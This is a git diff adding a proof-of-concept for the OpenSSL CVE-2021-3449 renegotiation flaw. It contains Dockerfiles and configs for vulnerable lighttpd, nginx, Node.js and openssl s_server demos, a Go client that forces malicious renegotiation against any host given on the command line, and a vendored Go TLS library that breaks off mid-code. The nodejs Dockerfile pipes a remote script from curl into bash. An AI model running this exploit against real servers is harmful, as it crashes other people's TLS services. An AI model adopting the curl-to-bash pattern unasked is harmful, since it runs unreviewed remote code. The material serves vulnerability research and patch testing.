Mozilla Guideline v5.6, lighttpd 1.4.55, OpenSSL 1.1.1j, intermediate configuration +# https://ssl-config.mozilla.org/#server=lighttpd&version=1.4.55&config=intermediate&openssl=1.1.1j&guideline=5.6 +$SERVER["socket"] == ":80" { + url.redirect = ("" => "https://${url.authority}${url.path}${qsa}") +} + +$SERVER["socket"] == ":4433" { + ssl.engine = "enable" + + ssl.pemfile = "/root/server.pem" + + # intermediate configuration + ssl.openssl.ssl-conf-cmd = ("Protocol" => "ALL, -SSLv2, -SSLv3, -TLSv1, -TLSv1.1") + ssl.cipher-list = "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384" + ssl.honor-cipher-order = "disable" + + # HTTP Strict Transport Security (63072000 seconds) + setenv.add-response-header = ( + "Strict-Transport-Security" => "max-age=63072000" + ) +} diff --git a/cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile new file mode 100644 index 00000000..f733a113 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile @@ -0,0 +1,8 @@ +ARG BASE_IMAGE +FROM ${BASE_IMAGE} +WORKDIR /root +RUN DEBIAN_FRONTEND=noninteractive \ + apt-get install -y lighttpd +COPY lighttpd-10-ssl.conf /etc/lighttpd/conf-enabled/10-ssl.conf +ENTRYPOINT ["/bin/bash", "-c"] +CMD ["lighttpd -D -f /etc/lighttpd/lighttpd.conf && true"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile new file mode 100644 index 00000000..bcf8e4e5 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile @@ -0,0 +1,8 @@ +ARG BASE_IMAGE +FROM ${BASE_IMAGE} +WORKDIR /root +RUN DEBIAN_FRONTEND=noninteractive \ + apt-get install -y nginx +COPY nginx.conf /etc/nginx/ +ENTRYPOINT ["/bin/bash", "-c"] +CMD ["nginx && sleep 2 && tail -n+0 -f /var/log/nginx/error.log"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nginx.conf b/cve/openssl/2021/CVE-2021-3449/demo/nginx.conf new file mode 100644 index 00000000..f4aa8217 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/nginx.conf @@ -0,0 +1,50 @@ +user root; +pid /run/nginx.pid; +worker_processes auto; +worker_rlimit_nofile 65535; + +events { + multi_accept on; + worker_connections 65535; +} + +http { + charset utf-8; + sendfile on; + tcp_nopush on; + tcp_nodelay on; + server_tokens off; + log_not_found off; + types_hash_max_size 2048; + types_hash_bucket_size 64; + client_max_body_size 16M; + + # MIME + include mime.types; + default_type application/octet-stream; + + # Logging + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log warn; + + # SSL + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + ssl_session_tickets off; + + # Mozilla Intermediate configuration + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384; + + server { + listen 4433 ssl http2; + listen [::]:4433 ssl http2; + server_name example.com; + root /var/www/html; + + # SSL + ssl_certificate /root/server.pem; + ssl_certificate_key /root/server.pem; + ssl_trusted_certificate /root/server.pem; + } +} diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile new file mode 100644 index 00000000..3f78b4e8 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile @@ -0,0 +1,8 @@ +ARG BASE_IMAGE +FROM ${BASE_IMAGE} +WORKDIR /root +RUN DEBIAN_FRONTEND=noninteractive \ + curl -fsSL https://deb.nodesource.com/setup_15.x | bash - \ + && apt-get install -y nodejs +COPY nodejs.js /root/ +CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/node", "/root/nodejs.js"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nodejs.js b/cve/openssl/2021/CVE-2021-3449/demo/nodejs.js new file mode 100644 index 00000000..34b1dfc0 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/nodejs.js @@ -0,0 +1,14 @@ +const https = require('https'); +const fs = require('fs'); + +const options = { + key: fs.readFileSync('server.pem'), + cert: fs.readFileSync('server.pem') +}; + +https.createServer(options, function (req, res) { + res.writeHead(200); + res.end("hello world\n"); +}).listen(4433); + +console.log("server started"); diff --git a/cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum b/cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum new file mode 100644 index 00000000..27569051 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum @@ -0,0 +1 @@ +aaf2fcb575cdf6491b98ab4829abf78a3dec8402b8b81efc8f23c00d443981bf openssl-1.1.1j.tar.gz.download diff --git a/cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile new file mode 100644 index 00000000..705f2e01 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile @@ -0,0 +1,4 @@ +ARG BASE_IMAGE +FROM ${BASE_IMAGE} +WORKDIR /root +CMD ["gdb", "-batch", "-ex", "run", "-ex", "bt", "--args", "/usr/bin/openssl", "s_server"] diff --git a/cve/openssl/2021/CVE-2021-3449/go.mod b/cve/openssl/2021/CVE-2021-3449/go.mod new file mode 100644 index 00000000..f6362dee --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/go.mod @@ -0,0 +1,5 @@ +module cve_2021_3449 + +go 1.14 + +require golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 diff --git a/cve/openssl/2021/CVE-2021-3449/go.sum b/cve/openssl/2021/CVE-2021-3449/go.sum new file mode 100644 index 00000000..bc0c6fad --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/go.sum @@ -0,0 +1,8 @@ +golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w= +golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68 h1:nxC68pudNYkKU6jWhgrqdreuFiOQWj1Fs7T3VrH4Pjw= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= diff --git a/cve/openssl/2021/CVE-2021-3449/main.go b/cve/openssl/2021/CVE-2021-3449/main.go new file mode 100644 index 00000000..c38bfb9d --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/main.go @@ -0,0 +1,34 @@ +package main + +import ( + "flag" + "os" + + "cve_2021_3449/tls" +) + +func main() { + host := flag.String("host", "", "host:port to connect to") + servername := flag.String("sni", "", "servername") + flag.Parse() + // Connect to the target, forcing TLSv1.2 + conn, err := tls.Dial("tcp", *host, &tls.Config{ + InsecureSkipVerify: true, + Renegotiation: tls.RenegotiateFreelyAsClient, + ServerName: *servername, + }) + if err != nil { + println("failed to connect: " + err.Error()) + os.Exit(1) + } + defer conn.Close() + println("connected") + // Force a TLS renegotiation per RFC 5746. + if err := conn.Handshake(); err != nil && err.Error() == "tls: handshake failure" { + println("server is not vulnerable, exploit failed") + } else if err != nil { + println("malicious handshake failed, exploit might have worked: " + err.Error()) + } else { + println("malicious renegotiation successful, exploit failed") + } +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/alert.go b/cve/openssl/2021/CVE-2021-3449/tls/alert.go new file mode 100644 index 00000000..22b3eca9 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/alert.go @@ -0,0 +1,87 @@ +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import "strconv" + +type alert uint8 + +const ( + // alert level + alertLevelWarning = 1 + alertLevelError = 2 +) + +const ( + alertCloseNotify alert = 0 + alertUnexpectedMessage alert = 10 + alertBadRecordMAC alert = 20 + alertDecryptionFailed alert = 21 + alertRecordOverflow alert = 22 + alertDecompressionFailure alert = 30 + alertHandshakeFailure alert = 40 + alertBadCertificate alert = 42 + alertUnsupportedCertificate alert = 43 + alertCertificateRevoked alert = 44 + alertCertificateExpired alert = 45 + alertCertificateUnknown alert = 46 + alertIllegalParameter alert = 47 + alertUnknownCA alert = 48 + alertAccessDenied alert = 49 + alertDecodeError alert = 50 + alertDecryptError alert = 51 + alertProtocolVersion alert = 70 + alertInsufficientSecurity alert = 71 + alertInternalError alert = 80 + alertInappropriateFallback alert = 86 + alertUserCanceled alert = 90 + alertNoRenegotiation alert = 100 + alertMissingExtension alert = 109 + alertUnsupportedExtension alert = 110 + alertUnrecognizedName alert = 112 + alertNoApplicationProtocol alert = 120 +) + +var alertText = map[alert]string{ + alertCloseNotify: "close notify", + alertUnexpectedMessage: "unexpected message", + alertBadRecordMAC: "bad record MAC", + alertDecryptionFailed: "decryption failed", + alertRecordOverflow: "record overflow", + alertDecompressionFailure: "decompression failure", + alertHandshakeFailure: "handshake failure", + alertBadCertificate: "bad certificate", + alertUnsupportedCertificate: "unsupported certificate", + alertCertificateRevoked: "revoked certificate", + alertCertificateExpired: "expired certificate", + alertCertificateUnknown: "unknown certificate", + alertIllegalParameter: "illegal parameter", + alertUnknownCA: "unknown certificate authority", + alertAccessDenied: "access denied", + alertDecodeError: "error decoding message", + alertDecryptError: "error decrypting message", + alertProtocolVersion: "protocol version not supported", + alertInsufficientSecurity: "insufficient security level", + alertInternalError: "internal error", + alertInappropriateFallback: "inappropriate fallback", + alertUserCanceled: "user canceled", + alertNoRenegotiation: "no renegotiation", + alertMissingExtension: "missing extension", + alertUnsupportedExtension: "unsupported extension", + alertUnrecognizedName: "unrecognized name", + alertNoApplicationProtocol: "no application protocol", +} + +func (e alert) String() string { + s, ok := alertText[e] + if ok { + return "tls: " + s + } + return "tls: alert(" + strconv.Itoa(int(e)) + ")" +} + +func (e alert) Error() string { + return e.String() +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/auth.go b/cve/openssl/2021/CVE-2021-3449/tls/auth.go new file mode 100644 index 00000000..cc909c71 --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/auth.go @@ -0,0 +1,249 @@ +// Copyright 2017 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "crypto" + "crypto/ecdsa" + "crypto/ed25519" + "crypto/elliptic" + "crypto/rsa" + "encoding/asn1" + "errors" + "fmt" +) + +// verifyHandshakeSignature verifies a signature against pre-hashed +// (if required) handshake contents. +func verifyHandshakeSignature(sigType uint8, pubkey crypto.PublicKey, hashFunc crypto.Hash, signed, sig []byte) error { + switch sigType { + case signatureECDSA: + pubKey, ok := pubkey.(*ecdsa.PublicKey) + if !ok { + return fmt.Errorf("expected an ECDSA public key, got %T", pubkey) + } + ecdsaSig := new(ecdsaSignature) + if _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil { + return err + } + if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 { + return errors.New("ECDSA signature contained zero or negative values") + } + if !ecdsa.Verify(pubKey, signed, ecdsaSig.R, ecdsaSig.S) { + return errors.New("ECDSA verification failure") + } + case signatureEd25519: + pubKey, ok := pubkey.(ed25519.PublicKey) + if !ok { + return fmt.Errorf("expected an Ed25519 public key, got %T", pubkey) + } + if !ed25519.Verify(pubKey, signed, sig) { + return errors.New("Ed25519 verification failure") + } + case signaturePKCS1v15: + pubKey, ok := pubkey.(*rsa.PublicKey) + if !ok { + return fmt.Errorf("expected an RSA public key, got %T", pubkey) + } + if err := rsa.VerifyPKCS1v15(pubKey, hashFunc, signed, sig); err != nil { + return err + } + case signatureRSAPSS: + pubKey, ok := pubkey.(*rsa.PublicKey) + if !ok { + return fmt.Errorf("expected an RSA public key, got %T", pubkey) + } + signOpts := &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash} + if err := rsa.VerifyPSS(pubKey, hashFunc, signed, sig, signOpts); err != nil { + return err + } + default: + return errors.New("internal error: unknown signature type") + } + return nil +} + +// typeAndHashFromSignatureScheme returns the corresponding signature type and +// crypto.Hash for a given TLS SignatureScheme. +func typeAndHashFromSignatureScheme(signatureAlgorithm SignatureScheme) (sigType uint8, hash crypto.Hash, err error) { + switch signatureAlgorithm { + case PKCS1WithSHA1, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512: + sigType = signaturePKCS1v15 + case PSSWithSHA256, PSSWithSHA384, PSSWithSHA512: + sigType = signatureRSAPSS + case ECDSAWithSHA1, ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512: + sigType = signatureECDSA + case Ed25519: + sigType = signatureEd25519 + default: + return 0, 0, fmt.Errorf("unsupported signature algorithm: %#04x", signatureAlgorithm) + } + switch signatureAlgorithm { + case PKCS1WithSHA1, ECDSAWithSHA1: + hash = crypto.SHA1 + case PKCS1WithSHA256, PSSWithSHA256, ECDSAWithP256AndSHA256: + hash = crypto.SHA256 + case PKCS1WithSHA384, PSSWithSHA384, ECDSAWithP384AndSHA384: + hash = crypto.SHA384 + case PKCS1WithSHA512, PSSWithSHA512, ECDSAWithP521AndSHA512: + hash = crypto.SHA512 + case Ed25519: + hash = directSigning + default: + return 0, 0, fmt.Errorf("unsupported signature algorithm: %#04x", signatureAlgorithm) + } + return sigType, hash, nil +} + +// legacyTypeAndHashFromPublicKey returns the fixed signature type and crypto.Hash for +// a given public key used with TLS 1.0 and 1.1, before the introduction of +// signature algorithm negotiation. +func legacyTypeAndHashFromPublicKey(pub crypto.PublicKey) (sigType uint8, hash crypto.Hash, err error) { + switch pub.(type) { + case *rsa.PublicKey: + return signaturePKCS1v15, crypto.MD5SHA1, nil + case *ecdsa.PublicKey: + return signatureECDSA, crypto.SHA1, nil + case ed25519.PublicKey: + // RFC 8422 specifies support for Ed25519 in TLS 1.0 and 1.1, + // but it requires holding on to a handshake transcript to do a + // full signature, and not even OpenSSL bothers with the + // complexity, so we can't even test it properly. + return 0, 0, fmt.Errorf("tls: Ed25519 public keys are not supported before TLS 1.2") + default: + return 0, 0, fmt.Errorf("tls: unsupported public key: %T", pub) + } +} + +var rsaSignatureSchemes = []struct { + scheme SignatureScheme + minModulusBytes int + maxVersion uint16 +}{ + // RSA-PSS is used with PSSSaltLengthEqualsHash, and requires + // emLen >= hLen + sLen + 2 + {PSSWithSHA256, crypto.SHA256.Size()*2 + 2, VersionTLS12}, + {PSSWithSHA384, crypto.SHA384.Size()*2 + 2, VersionTLS12}, + {PSSWithSHA512, crypto.SHA512.Size()*2 + 2, VersionTLS12}, + // PKCS#1 v1.5 uses prefixes from hashPrefixes in crypto/rsa, and requires + // emLen >= len(prefix) + hLen + 11 + // TLS 1.3 dropped support for PKCS#1 v1.5 in favor of RSA-PSS. + {PKCS1WithSHA256, 19 + crypto.SHA256.Size() + 11, VersionTLS12}, + {PKCS1WithSHA384, 19 + crypto.SHA384.Size() + 11, VersionTLS12}, + {PKCS1WithSHA512, 19 + crypto.SHA512.Size() + 11, VersionTLS12}, + {PKCS1WithSHA1, 15 + crypto.SHA1.Size() + 11, VersionTLS12}, +} + +// signatureSchemesForCertificate returns the list of supported SignatureSchemes +// for a given certificate, based on the public key and the protocol version, +// and optionally filtered by its explicit SupportedSignatureAlgorithms. +// +// This function must be kept in sync with supportedSignatureAlgorithms. +func signatureSchemesForCertificate(version uint16, cert *Certificate) []SignatureScheme { + priv, ok := cert.PrivateKey.(crypto.Signer) + if !ok { + return nil + } + + var sigAlgs []SignatureScheme + switch pub := priv.Public().(type) { + case *ecdsa.PublicKey: + // In TLS 1.2 and earlier, ECDSA algorithms are not + // constrained to a single curve. + sigAlgs = []SignatureScheme{ + ECDSAWithP256AndSHA256, + ECDSAWithP384AndSHA384, + ECDSAWithP521AndSHA512, + ECDSAWithSHA1, + } + break + case *rsa.PublicKey: + size := pub.Size() + sigAlgs = make([]SignatureScheme, 0, len(rsaSignatureSchemes)) + for _, candidate := range rsaSignatureSchemes { + if size >= candidate.minModulusBytes && version <= candidate.maxVersion { + sigAlgs = append(sigAlgs, candidate.scheme) + } + } + case ed25519.PublicKey: + sigAlgs = []SignatureScheme{Ed25519} + default: + return nil + } + + if cert.SupportedSignatureAlgorithms != nil { + var filteredSigAlgs []SignatureScheme + for _, sigAlg := range sigAlgs { + if isSupportedSignatureAlgorithm(sigAlg, cert.SupportedSignatureAlgorithms) { + filteredSigAlgs = append(filteredSigAlgs, sigAlg) + } + } + return filteredSigAlgs + } + return sigAlgs +} + +// selectSignatureScheme picks a SignatureScheme from the peer's preference list +// that works with the selected certificate. It's only called for protocol +// versions that support signature algorithms, so TLS 1.2 and 1.3. +func selectSignatureScheme(vers uint16, c *Certificate, peerAlgs []SignatureScheme) (SignatureScheme, error) { + supportedAlgs := signatureSchemesForCertificate(vers, c) + if len(supportedAlgs) == 0 { + return 0, unsupportedCertificateError(c) + } + if len(peerAlgs) == 0 && vers == VersionTLS12 { + // For TLS 1.2, if the client didn't send signature_algorithms then we + // can assume that it supports SHA1. See RFC 5246, Section 7.4.1.4.1. + peerAlgs = []SignatureScheme{PKCS1WithSHA1, ECDSAWithSHA1} + } + // Pick signature scheme in the peer's preference order, as our + // preference order is not configurable. + for _, preferredAlg := range peerAlgs { + if isSupportedSignatureAlgorithm(preferredAlg, supportedAlgs) { + return preferredAlg, nil + } + } + return 0, errors.New("tls: peer doesn't support any of the certificate's signature algorithms") +} + +// unsupportedCertificateError returns a helpful error for certificates with +// an unsupported private key. +func unsupportedCertificateError(cert *Certificate) error { + switch cert.PrivateKey.(type) { + case rsa.PrivateKey, ecdsa.PrivateKey: + return fmt.Errorf("tls: unsupported certificate: private key is %T, expected *%T", + cert.PrivateKey, cert.PrivateKey) + case *ed25519.PrivateKey: + return fmt.Errorf("tls: unsupported certificate: private key is *ed25519.PrivateKey, expected ed25519.PrivateKey") + } + + signer, ok := cert.PrivateKey.(crypto.Signer) + if !ok { + return fmt.Errorf("tls: certificate private key (%T) does not implement crypto.Signer", + cert.PrivateKey) + } + + switch pub := signer.Public().(type) { + case *ecdsa.PublicKey: + switch pub.Curve { + case elliptic.P256(): + case elliptic.P384(): + case elliptic.P521(): + default: + return fmt.Errorf("tls: unsupported certificate curve (%s)", pub.Curve.Params().Name) + } + case *rsa.PublicKey: + return fmt.Errorf("tls: certificate RSA key size too small for supported signature algorithms") + case ed25519.PublicKey: + default: + return fmt.Errorf("tls: unsupported certificate key (%T)", pub) + } + + if cert.SupportedSignatureAlgorithms != nil { + return fmt.Errorf("tls: peer doesn't support the certificate custom signature algorithms") + } + + return fmt.Errorf("tls: internal error: unsupported key (%T)", cert.PrivateKey) +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/cipher_suites.go b/cve/openssl/2021/CVE-2021-3449/tls/cipher_suites.go new file mode 100644 index 00000000..b41ec42b --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/cipher_suites.go @@ -0,0 +1,384 @@ +// Copyright 2010 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/des" + "crypto/hmac" + "crypto/rc4" + "crypto/sha1" + "crypto/sha256" + "crypto/x509" + "hash" + + "golang.org/x/crypto/chacha20poly1305" +) + +// CipherSuite is a TLS cipher suite. Note that most functions in this package +// accept and expose cipher suite IDs instead of this type. +type CipherSuite struct { + ID uint16 + Name string + + // Supported versions is the list of TLS protocol versions that can + // negotiate this cipher suite. + SupportedVersions []uint16 + + // Insecure is true if the cipher suite has known security issues + // due to its primitives, design, or implementation. + Insecure bool +} + +// a keyAgreement implements the client and server side of a TLS key agreement +// protocol by generating and processing key exchange messages. +type keyAgreement interface { + // On the server side, the first two methods are called in order. + + // In the case that the key agreement protocol doesn't use a + // ServerKeyExchange message, generateServerKeyExchange can return nil, + // nil. + generateServerKeyExchange(*Config, *Certificate, *clientHelloMsg, *serverHelloMsg) (*serverKeyExchangeMsg, error) + processClientKeyExchange(*Config, *Certificate, *clientKeyExchangeMsg, uint16) ([]byte, error) + + // On the client side, the next two methods are called in order. + + // This method may not be called if the server doesn't send a + // ServerKeyExchange message. + processServerKeyExchange(*Config, *clientHelloMsg, *serverHelloMsg, *x509.Certificate, *serverKeyExchangeMsg) error + generateClientKeyExchange(*Config, *clientHelloMsg, *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) +} + +const ( + // suiteECDHE indicates that the cipher suite involves elliptic curve + // Diffie-Hellman. This means that it should only be selected when the + // client indicates that it supports ECC with a curve and point format + // that we're happy with. + suiteECDHE = 1 << iota + // suiteECSign indicates that the cipher suite involves an ECDSA or + // EdDSA signature and therefore may only be selected when the server's + // certificate is ECDSA or EdDSA. If this is not set then the cipher suite + // is RSA based. + suiteECSign + // suiteTLS12 indicates that the cipher suite should only be advertised + // and accepted when using TLS 1.2. + suiteTLS12 + // suiteSHA384 indicates that the cipher suite uses SHA384 as the + // handshake hash. + suiteSHA384 + // suiteDefaultOff indicates that this cipher suite is not included by + // default. + suiteDefaultOff +) + +// A cipherSuite is a specific combination of key agreement, cipher and MAC function. +type cipherSuite struct { + id uint16 + // the lengths, in bytes, of the key material needed for each component. + keyLen int + macLen int + ivLen int + ka func(version uint16) keyAgreement + // flags is a bitmask of the suite* values, above. + flags int + cipher func(key, iv []byte, isRead bool) interface{} + mac func(version uint16, macKey []byte) macFunction + aead func(key, fixedNonce []byte) aead +} + +var cipherSuites = []*cipherSuite{ + // Ciphersuite order is chosen so that ECDHE comes before plain RSA and + // AEADs are the top preference. + {TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadChaCha20Poly1305}, + {TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadChaCha20Poly1305}, + {TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadAESGCM}, + {TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadAESGCM}, + {TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM}, + {TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM}, + {TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil}, + {TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil}, + {TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil}, + {TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil}, + {TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil}, + {TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil}, + {TLS_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, rsaKA, suiteTLS12, nil, nil, aeadAESGCM}, + {TLS_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, rsaKA, suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM}, + {TLS_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, rsaKA, suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil}, + {TLS_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil}, + {TLS_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil}, + {TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, ecdheRSAKA, suiteECDHE, cipher3DES, macSHA1, nil}, + {TLS_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, rsaKA, 0, cipher3DES, macSHA1, nil}, + + // RC4-based cipher suites are disabled by default. + {TLS_RSA_WITH_RC4_128_SHA, 16, 20, 0, rsaKA, suiteDefaultOff, cipherRC4, macSHA1, nil}, + {TLS_ECDHE_RSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheRSAKA, suiteECDHE | suiteDefaultOff, cipherRC4, macSHA1, nil}, + {TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteDefaultOff, cipherRC4, macSHA1, nil}, +} + +func cipherRC4(key, iv []byte, isRead bool) interface{} { + cipher, _ := rc4.NewCipher(key) + return cipher +} + +func cipher3DES(key, iv []byte, isRead bool) interface{} { + block, _ := des.NewTripleDESCipher(key) + if isRead { + return cipher.NewCBCDecrypter(block, iv) + } + return cipher.NewCBCEncrypter(block, iv) +} + +func cipherAES(key, iv []byte, isRead bool) interface{} { + block, _ := aes.NewCipher(key) + if isRead { + return cipher.NewCBCDecrypter(block, iv) + } + return cipher.NewCBCEncrypter(block, iv) +} + +// macSHA1 returns a macFunction for the given protocol version. +func macSHA1(version uint16, key []byte) macFunction { + return tls10MAC{h: hmac.New(newConstantTimeHash(sha1.New), key)} +} + +// macSHA256 returns a SHA-256 based MAC. These are only supported in TLS 1.2 +// so the given version is ignored. +func macSHA256(version uint16, key []byte) macFunction { + return tls10MAC{h: hmac.New(sha256.New, key)} +} + +type macFunction interface { + // Size returns the length of the MAC. + Size() int + // MAC appends the MAC of (seq, header, data) to out. The extra data is fed + // into the MAC after obtaining the result to normalize timing. The result + // is only valid until the next invocation of MAC as the buffer is reused. + MAC(seq, header, data, extra []byte) []byte +} + +type aead interface { + cipher.AEAD + + // explicitNonceLen returns the number of bytes of explicit nonce + // included in each record. This is eight for older AEADs and + // zero for modern ones. + explicitNonceLen() int +} + +const ( + aeadNonceLength = 12 + noncePrefixLength = 4 +) + +// prefixNonceAEAD wraps an AEAD and prefixes a fixed portion of the nonce to +// each call. +type prefixNonceAEAD struct { + // nonce contains the fixed part of the nonce in the first four bytes. + nonce [aeadNonceLength]byte + aead cipher.AEAD +} + +func (f *prefixNonceAEAD) NonceSize() int { return aeadNonceLength - noncePrefixLength } +func (f *prefixNonceAEAD) Overhead() int { return f.aead.Overhead() } +func (f *prefixNonceAEAD) explicitNonceLen() int { return f.NonceSize() } + +func (f *prefixNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte { + copy(f.nonce[4:], nonce) + return f.aead.Seal(out, f.nonce[:], plaintext, additionalData) +} + +func (f *prefixNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) { + copy(f.nonce[4:], nonce) + return f.aead.Open(out, f.nonce[:], ciphertext, additionalData) +} + +// xoredNonceAEAD wraps an AEAD by XORing in a fixed pattern to the nonce +// before each call. +type xorNonceAEAD struct { + nonceMask [aeadNonceLength]byte + aead cipher.AEAD +} + +func (f *xorNonceAEAD) NonceSize() int { return 8 } // 64-bit sequence number +func (f *xorNonceAEAD) Overhead() int { return f.aead.Overhead() } +func (f *xorNonceAEAD) explicitNonceLen() int { return 0 } + +func (f *xorNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte { + for i, b := range nonce { + f.nonceMask[4+i] ^= b + } + result := 